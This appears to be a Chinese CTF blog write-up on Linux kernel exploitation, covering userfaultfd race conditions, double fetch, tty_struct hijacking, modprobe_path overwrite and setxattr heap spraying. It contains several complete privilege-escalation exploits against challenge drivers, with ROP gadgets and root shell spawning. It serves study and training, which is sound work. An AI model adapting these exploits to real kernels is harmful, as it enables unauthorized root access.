59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <linux/tty.h>
#define tty_struct_size 0x2e0
#define ptm_unix98_ops_offset 0xe8e440
#define pty_unix98_ops_offset 0xe8e320
#define push_rdi_pop_rsp_pop_rbp_add_rax_rdx_ret 0xffffffff81238d50
#define push_rdx_add_byte_r11_0x41_r11b_pop_rsp_pop_rbp_ret 0xffffffff8170dd41
#define commit_creds 0xffffffff810a9b40
#define init_cred 0xffffffff8225c940
#define swapgs_restore_regs_and_return_to_usermode 0xffffffff81a00929
#define pop_rdi_ret 0xffffffff81007115
#define pop_rdx_pop_rbp_ret 0xffffffff8103658c
#define push_rdi_pop_rsp_pop_rbp_or_eax_edx_ret 0xffffffff8143f4e1
#define pop_rsp_ret 0xffffffff810bc110
#define ret 0xffffffff81000091
#define prepare_kernel_cred 0xffffffff810a9ef0
#define mov_rdi_rax_call_rdx 0xffffffff8270747f
#define pop_rdx_ret 0xffffffff81358842
#define MOV_RDI_RAX_POP_RBP_RET 0xffffffff81045833
#define work_for_cpu_fn 0xffffffff8109eb90





size_t vmlinux_nokaslr_addr=0xffffffff81000000;
size_t kernel_base=0;
size_t user_cs,user_ss,user_rflags,user_sp;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void usr_shell(){
puts("getshelling");
if(getuid()==0){
puts("[*]----getshell ok");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}


char *page;
size_t page_size;
static pthread_t monitor_thread;
void errExit(char *msg){
puts(msg);
exit(0);
}
void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}

char *page;

static void *
fault_handler_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

sleep(1000);

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}



typedef struct
{
size_t idx;
size_t size;
char * buf;
}Userarg;

int note_fd;
char *userfaultfd_buf;
size_t page_size;

void add(int note_fd,size_t idx,size_t size,char *buf){
Userarg userarg={
.idx=idx,
.buf=buf,
.size=size
};
ioctl(note_fd,0x100,&userarg);
}

void edit(int note_fd,size_t idx,size_t size,char *buf){
Userarg userarg={
.idx=idx,
.buf=buf,
.size=size
};
ioctl(note_fd,0x300,&userarg);
}

void gift(int note_fd,char *buf){
Userarg useraeg={
.buf=buf
};
ioctl(note_fd,0x64,&useraeg);
}

void edit_userfaultfd(int idx){
edit(note_fd,idx,0x2000,userfaultfd_buf);
}

void add_userfaultfd(int idx){
add(note_fd,idx,0x50,userfaultfd_buf);
}


struct file_operations;
struct tty_struct;
struct tty_driver;
struct serial_icounter_struct;

struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
const struct file_operations *proc_fops;
};


typedef struct {
char *buf;
size_t idx;
}Notebook;

int main(){
saveStatus();
size_t tty_struct[0x200]={0};
int tty_fd[0x100]={0};
pthread_t tid;
note_fd=open("/dev/notebook", O_RDWR);

char name[0x200];
Notebook notebook[0x10];
page_size=sysconf(_SC_PAGE_SIZE);
userfaultfd_buf=mmap(NULL,page_size,PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
page=malloc(page_size);
memset(page,1,page_size);
registerUserFaultFd(userfaultfd_buf,page_size,fault_handler_thread);
for(int i=0;i<0x10;i++){
edit(note_fd,i,0x2e0,name);
}
sleep(1);

for(int i=0;i<0x10;i++){
pthread_create(&tid,NULL,edit_userfaultfd,i);
}
sleep(3);
for(int i=0;i<0x100;i++){
tty_fd[i]=open("/dev/ptmx",O_RDWR | O_NOCTTY);
if(!tty_fd[i]){
errExit("ptmx open fail");
}
}
sleep(1);

for(int i=0;i<0x10;i++){
pthread_create(&tid,NULL,add_userfaultfd,i);
}
sleep(3);

int fake_tty_ops_idx=-1;
for(int i=0;i<0x10;i++){
read(note_fd,tty_struct,i);
unsigned int magic=*(unsigned int *)tty_struct;
if(magic!=0x5401){
if(fake_tty_ops_idx==-1){
fake_tty_ops_idx=i;
printf("[*] fake_tty_ops_idx %d\n",fake_tty_ops_idx=i);
break;
}
}
}
if(fake_tty_ops_idx==-1){
errExit("fake_tty_ops_idx find fail");
}

int uaf_tty=-1;
for(int i=0;i<0x10;i++){
read(note_fd,tty_struct,i);
unsigned int magic=*(unsigned int *)tty_struct;
if(magic==0x5401){
printf("[*] uaf_idx %d\n",uaf_tty=i);
break;
}
}
if(uaf_tty==-1){
errExit("not uaf_tty");
}
size_t tty_ops=tty_struct[3];
if((tty_ops&0xfff)==0x440){
kernel_base=tty_ops-ptm_unix98_ops_offset;
}else{
kernel_base=tty_ops-pty_unix98_ops_offset;
}
printf("\033[34m\033[1m[*] kernel_addr %p\033[0m\n",kernel_base);

edit(note_fd,fake_tty_ops_idx,0x200,name);
gift(note_fd,notebook);
size_t init_cred_addr=init_cred-vmlinux_nokaslr_addr+kernel_base;
size_t commit_creds_addr=commit_creds-vmlinux_nokaslr_addr+kernel_base;
size_t swapgs_restore_regs_and_return_to_usermode_addr=swapgs_restore_regs_and_return_to_usermode-vmlinux_nokaslr_addr+kernel_base;
size_t pop_rdi_ret_addr=pop_rdi_ret-vmlinux_nokaslr_addr+kernel_base;
size_t pop_rdx_pop_rbp_ret_addr=pop_rdx_pop_rbp_ret-vmlinux_nokaslr_addr+kernel_base;
size_t fake_tty_ops[64]={0};
size_t fake_tty_ops_addr=notebook[fake_tty_ops_idx].buf;
size_t fake_tty_struct[10]={0};
memcpy(fake_tty_struct,tty_struct,0x50);
size_t rop[64]={0};
fake_tty_struct[3]=fake_tty_ops_addr;
fake_tty_struct[4]=prepare_kernel_cred-vmlinux_nokaslr_addr+kernel_base;
fake_tty_struct[5]=0;

((struct tty_operations *)fake_tty_ops)->ioctl=work_for_cpu_fn-vmlinux_nokaslr_addr+kernel_base;

write(note_fd,fake_tty_ops,fake_tty_ops_idx);
write(note_fd,fake_tty_struct,uaf_tty);
for(int i=0;i<0x100;i++){
ioctl(tty_fd[i],0x200,0x200);
}


read(note_fd,fake_tty_struct,uaf_tty);
size_t cred=fake_tty_struct[6];
printf("[*] root_cred: %p\n",cred);
printf("[*] prepare_kernel_cred: %p\n",fake_tty_struct[4]);
fake_tty_struct[5]=cred;
fake_tty_struct[4]=commit_creds-vmlinux_nokaslr_addr+kernel_base;
write(note_fd,fake_tty_struct,uaf_tty);
for(int i=0;i<0x100;i++){
ioctl(tty_fd[i],0x200,0x200);
}
system("/bin/sh");
}

解法二看别人博客是稳定性更好,但是我跑好几次才能成功一次,远没有解法一来的稳定,想深究就得嗯调(不知道代码在哪),哎。

这道题debug了快两天,其中比较坑的是就是关于tty_structtty_operations的伪造了,tty_struct如果伪造的有问题的话就会直接引起kernel painc,所以得memcpy(fake_tty_struct,tty_struct,0x50)然后再伪造成功率高一些(关键是找不到这块的源码在哪,不能看代码分析,只能嗯调,还是太菜了)。然后是关于tty_operation的伪造,本来的想法是直接在tty_operation上构造好完整的rop执行得了,但是一旦在write指针后面写东西的话就会崩掉。最后也只能跳到一个堆上再执行rop了。关键还是自己对内核不熟悉,就算想看代码都不知道在哪,非常折磨人,学完内核利用的基础知识点之后得赶紧把内核学习和内核代码阅读提上日程了。

总结:通过这道题真的能感觉到内核利用中同步引发的条件竞争的魅力,代码看着完全没有问题,但是通过阻塞就能硬生生构造出一个uaf,死高一,以后在漏洞利用的时候要多注意注意条件竞争。

条件竞争

double fetch

取值两次,第一次进行合法效验,第二次进行数据操作,在这两次中间可以通过多线程改变数据的值,进而让第一次效验失效传入恶意数据。

例题 0CTF2018 Final - baby kernel

这道题之前做过直接放脚本了

脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include<string.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include<pthread.h>
struct message{
char *buf;
int len;
}m;
void change_flag_addr(size_t flag_addr){
while(1){
m.buf=flag_addr;
}
}
int main(){
int fd=open("dev/baby",0);
ioctl(fd,0x6666,0);
system("dmesg |grep 'Your flag is at ' > ./flag_addr.txt");
int temp_fd=open("./flag_addr.txt",0);
char buf[100]={0};
int len=strlen("[ 2.817016] Your flag is at ");
read(temp_fd,buf,100);
close(temp_fd);
size_t flag_addr=strtoull(buf+len,buf+len+16,16);
printf("flag_addr:%d\n",flag_addr);
m.buf=buf;
int ret;
for(int i=0;i<100;i++){
m.len=i;
ret=ioctl(fd,0x1337,&m);
if(ret==22){
printf("flag_len:%d\n",i);
break;
}
}
pthread_t tid;
pthread_create(&tid,NULL,change_flag_addr,flag_addr);
for(int i=0;i<0x100000;i++){
m.buf=buf;
ret=ioctl(fd,0x1337,&m);
if(ret==0){
printf("susses\n");
break;
}
}
close(fd);
system("dmesg |grep 'Looks like the flag is' > ./flag.txt");
temp_fd=open("./flag.txt",0);
read(temp_fd,buf,100);
write(STDOUT_FILENO,buf,100);
close(temp_fd);
return 0;
}

userfaultfd

userfaultfd是linux系统在用户态的一个缺页处理机制,用户可以自定义函数来处理此类事件,就像kvm一样,linux系统已经规定好了userfaultfd的接口,用户可以利用规定的接口对某一虚拟内存进行监视,并且可以注册一个函数,当监视内存发生缺页异常的时候就会去执行这个注册函数。

使用userfaultfd的代码分为两部分,一部分是监控并注册函数,一部分是自定义处理函数的定义

注册模板

其中register_userfault函数的第一个参数就是受监控内存,第二个参数就是自定义处理函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void err_exit(char* err_msg)
{
puts(err_msg);
exit(-1);
}

void register_userfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
err_exit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理
//当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作
err_exit("[-] ioctl-UFFDIO_REGISTER");
//开一个线程,接收错误的信号,然后处理
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
err_exit("[-] pthread_create");
}

自定义处理函数模板

可以把自定义处理函数分为两部分,前半部分就是模板操作

1
2
3
4
5
// 轮询uffd读到的信息需要存在一个struct uffd_msg对象中
static struct uffd_msg msg;
// ioctl的UFFDIO_COPY选项需要我们构造一个struct uffdio_copy对象
struct uffdio_copy uffdio_copy;
uffd = (long) arg;

后半部分是真正的处理代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for (;;) { // 此线程不断进行polling,所以是死循环
// poll需要我们构造一个struct pollfd对象
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
poll(&pollfd, 1, -1);
// 读出user-fault相关信息
read(uffd, &msg, sizeof(msg));
// 对于我们所注册的一般user-fault功能,都应是UFFD_EVENT_PAGEFAULT这个事件
assert(msg.event == UFFD_EVENT_PAGEFAULT);
// 构造uffdio_copy进而调用ioctl-UFFDIO_COPY处理这个user-fault
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
// page(我们已有的一个页大小的数据)中page_size大小的内容将被拷贝到新分配的msg.arg.pagefault.address内存页中
ioctl(uffd, UFFDIO_COPY, &uffdio_copy);
......
}

理清楚了userfaultfd,那对于条件竞争又有什么用处呢,可以先看下面这段代码,如果这段代码没有加锁,那么当copy_from_user函数要向ptr但还没写入时,此时另一个线程把ptr给free掉然后再把这个堆块申请回来,这个堆块是比较特殊的堆块,比如tty_struct,这样我们就控制了tty_struct,进而可以控制程序流了,但是这样概率会很小,如果访问user_buf发生了缺页异常,那就会停下来去执行缺页异常处理函数,处理完再继续执行copy_from_user函数,如果我们在缺页异常处理函数中再sleep一下,那空档期就非常长了,在这段时间里释放在申请,最后成功写的概率就很大了。

1
2
3
4
5
if (ptr) {  
...
copy_from_user(ptr,user_buf,len);
...
}

说白了使用userfaultfd就是为了提高条件竞争成功的概率。

但是需要注意的是5.11版本以后,非特权用户就被禁止使用userfaultfd了

例题 d3ctf2019-knote

启动脚本

虚拟了两个cpu,每个cpu一个核,所以可以支持两个线程。保护除了kpti没开以外其他的都开了。

1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-monitor /dev/null \
-smp cores=2,threads=1 \
-cpu qemu64,+smep,+smap

文件系统启动脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
echo "{==DBG==} INIT SCRIPT"
mount -t proc none /proc
mount -t sysfs none /sys
mkdir /dev/pts
mount -t devpts devpts /dev/pts
mdev -s
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
echo -e "{==DBG==} Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
insmod note.ko
mknod /dev/knote c 10 233
chmod 666 /dev/knote
chmod 666 /dev/ptmx
chown 0:0 /flag
chmod 400 /flag
poweroff -d 120 -f &
chroot . setuidgid 1000 /bin/sh #normal user
umount /proc
umount /sys
poweroff -d 0 -f

这道题就是在内核实现了一个菜单堆,有add,get,del,edit四个功能,其中del和add是加了读写锁的,没法条件竞争,但是get和edit是可以的,所以可以通过get进行条件竞争来完成内核地址泄露,在这个内核版本中tty_struct大小是0x2e0,所以可以先申请一个0x2e0的堆,然后在get的时候条件竞争,在缺页处理的时候先把这个堆块free掉,然后再打开一个ptmx,就会在内核申请一个0x2e0的堆,有概率申请到刚free的堆块,缺页处理完再进行拷贝的话就能得到tty_struct的内容了,就能得到内核地址了,然后在edit的时候再次进行条件竞争就可以任意地址写了,但是怎么利用这个任意地址提升权限呢

modprobe_path

当在用户态使用execve执行一个非法的文件的时候,内核会有如下调用链

1
2
3
4
5
6
7
8
9
entry_SYSCALL_64()
sys_execve()
do_execve()
do_execveat_common()
bprm_execve()
exec_binprm()
search_binary_handler()
__request_module()
call_modprobe()

最后一个函数定义于/kernel/kmod.c,下面就是题目内核版本对应的call_modprobe()源码,在函数的最后会调用call_usermodehelper_exec()函数,将modprobe_path作为可执行文件路径,以root权限将其执行,modprobe_path默认存储着执行路径/sbin/modprobe.

所以可以通过任意地址写接触modprobe_path,将其改写为我们构造的恶意脚本的路径,然后执行一个非法文件触发上述调用链,最后以root用户执行恶意脚本,思路就是这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static int call_modprobe(char *module_name, int wait)
{
struct subprocess_info *info;
static char *envp[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL
};

char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);
if (!argv)
goto out;

module_name = kstrdup(module_name, GFP_KERNEL);
if (!module_name)
goto free_argv;

argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name; /* check free_modprobe_argv() */
argv[4] = NULL;

info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
if (!info)
goto free_module_name;

return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
free_module_name:
kfree(module_name);
free_argv:
kfree(argv);
out:
return -ENOMEM;
}
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

#define tty_struct_size 0x2e0
#define modprobe_path_offset 0x145c5c0
char *page;
size_t page_size;
static pthread_t monitor_thread;
void errExit(char *msg){
puts(msg);
exit(0);
}
void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}

static void *
fault_handler_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

sleep(10);

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}
void usr_shell(){
puts("getshelling");
if(getuid()==0){
puts("[*]----getshell pk");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}
size_t user_cs,user_ss,user_rflags,user_sp;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
typedef struct
{
union
{
size_t size;
size_t idx;
};
char *data;
}Chunk;
void add(int fd,size_t size){
Chunk chunk={
.size=size
};
ioctl(fd,0x1337,&chunk);
}
void get(int fd,size_t idx,char *data){
Chunk chunk ={
.idx=idx,
.data=data
};
ioctl(fd,0x2333,&chunk);
}
void del(int fd,size_t idx){
Chunk chunk={
.idx=idx
};
ioctl(fd,0x6666,&chunk);
}
void edit(int fd,size_t idx,char *data){
Chunk chunk ={
.idx=idx,
.data=data
};
ioctl(fd,0x8888,&chunk);
}
int knote_fd=0;
int tty_fd=0;

void get_tty_struct_data(int v1){
sleep(3);
del(knote_fd,0);
tty_fd=open("/dev/ptmx",O_RDWR);
if(!tty_fd){
errExit("/dev/ptmx open fail");
}
puts("[*] ptmx ok");
}
size_t modprobe_path_addr=0;
void change_modprobe_path(int v1){
puts("[\033[34m\033[1m*\033[0m] object_next changeing");
sleep(3);
del(knote_fd,0);
}
void debug(){
printf("debug\n");
}
int main(){
saveStatus();
printf("[\033[34m\033[1m*\033[0m] debug: %p\n",debug);
char get_flag[]="#!/bin/sh\nchmod 777 /flag";
int fd=open("/getshell",O_RDWR|O_CREAT);
write(fd,get_flag,sizeof(get_flag));
close(fd);
system("chmod +x /getshell");

page_size=sysconf(_SC_PAGE_SIZE);
char *ptr1=mmap(NULL,page_size,PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
char *ptr2=mmap(NULL,page_size,PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

page=malloc(page_size);
memset(page,0,page_size);

registerUserFaultFd(ptr1,page_size,fault_handler_thread);
registerUserFaultFd(ptr2,page_size,fault_handler_thread);

knote_fd=open("/dev/knote",O_RDWR);
add(knote_fd,tty_struct_size);
pthread_t tid;
pthread_create(&tid,NULL,get_tty_struct_data,0);
get(knote_fd,0,ptr1);
size_t kernel_base=0;
if(*((size_t*)(ptr1) + 86)){
kernel_base=*((size_t*)(ptr1) + 86)-0x5d4ef0;
printf("[\033[34m\033[1m*\033[0m] kernel_base:%p\n",kernel_base);
}else{
errExit("[\033[34m\033[1m*\033[0m] get kernel_base fail\n");
}

modprobe_path_addr=kernel_base+modprobe_path_offset;
printf("[\033[34m\033[1m*\033[0m] modprobe_path_addr:%p\n",modprobe_path_addr);
add(knote_fd,0x60);
memcpy(page,&modprobe_path_addr, 8);
pthread_create(&tid,NULL,change_modprobe_path,0);
edit(knote_fd,0,ptr2);
add(knote_fd,0x60);
add(knote_fd,0x60);
edit(knote_fd,1,"/getshell");
debug();
system("echo -e '\\xff\\xff\\xff\\xff' > /fake");
system("chmod +x /fake");
system("/fake");

int flag_fd=open("/flag",O_RDWR);
if(!flag_fd){
errExit("[\033[34m\033[1m*\033[0m] hack fail");
}
char flag[0x40]={0};
read(flag_fd,flag,0x20);
write(1,flag,0x20);
puts("ok");
system("/bin/sh");
}

假如恶意脚本是cat /flag在终端是没有显示的,可能最后执行call_usermodehelper_exec()的时候对应的终端已经不是当前终端了,所以得执行chmod 777 flag然后再读才能得到flag.

结果

1
2
3
4
5
6
7
/fake: line 1: ����: not found
[*] flag{12345}
ok
/bin/sh: can't access tty; job control turned off
/ $ ls -l flag
-rwxrwxrwx 1 0 0 16 Jul 26 08:41 flag

总结

通过这一道题大概了了解了userfaultfd和modprobe_path的思路和基本用法,收获满满。

setxattr+userfaultfd堆占位

和sendmsg一样都是堆喷,不同的是这个堆内核堆的大小没有限制,而sendmsg申请的内核堆的最小字节是44,所以比起sendmsg来说这个更具有一般性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
//...
kvalue = kvmalloc(size, GFP_KERNEL);
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) {

//,..

kvfree(kvalue);

return error;
}

可以看到在setattr()函数中value和size我们都可以控制,并且可以分配任意大小的object并写入,但该object在setattr执行结束会被释放,被释放后我们就无法控制这个堆了,不过好在setattr函数是在kmalloc完之后才执行copy_from_user函数,而user_from_user函数可以阻塞的,我们可以先mmap一个两页大小的内存,然后向第一个页的末尾填充数据,第二页再用userfaultfd缺页处理,然后把第一页的末尾传入setattr()函数,这样copy完第一页的末尾后再copy第二页的时候就会陷入缺页中断了,然后就达到了chunk既可控又不会被释放的目的了。

盗的图

例题 SECCON 2020 kstack

qemu启动脚本

1
2
3
4
5
6
7
8
9
10
#!/bin/sh
qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \
-cpu kvm64,+smep \
-net user -net nic -device e1000 \
-monitor /dev/null \
-nographic

开了kaslr和smep,也开了KPTI

1
2
3
4
5
6
7
8
9
/ $ cat /sys/devices/system/cpu/vulnerabilities/*
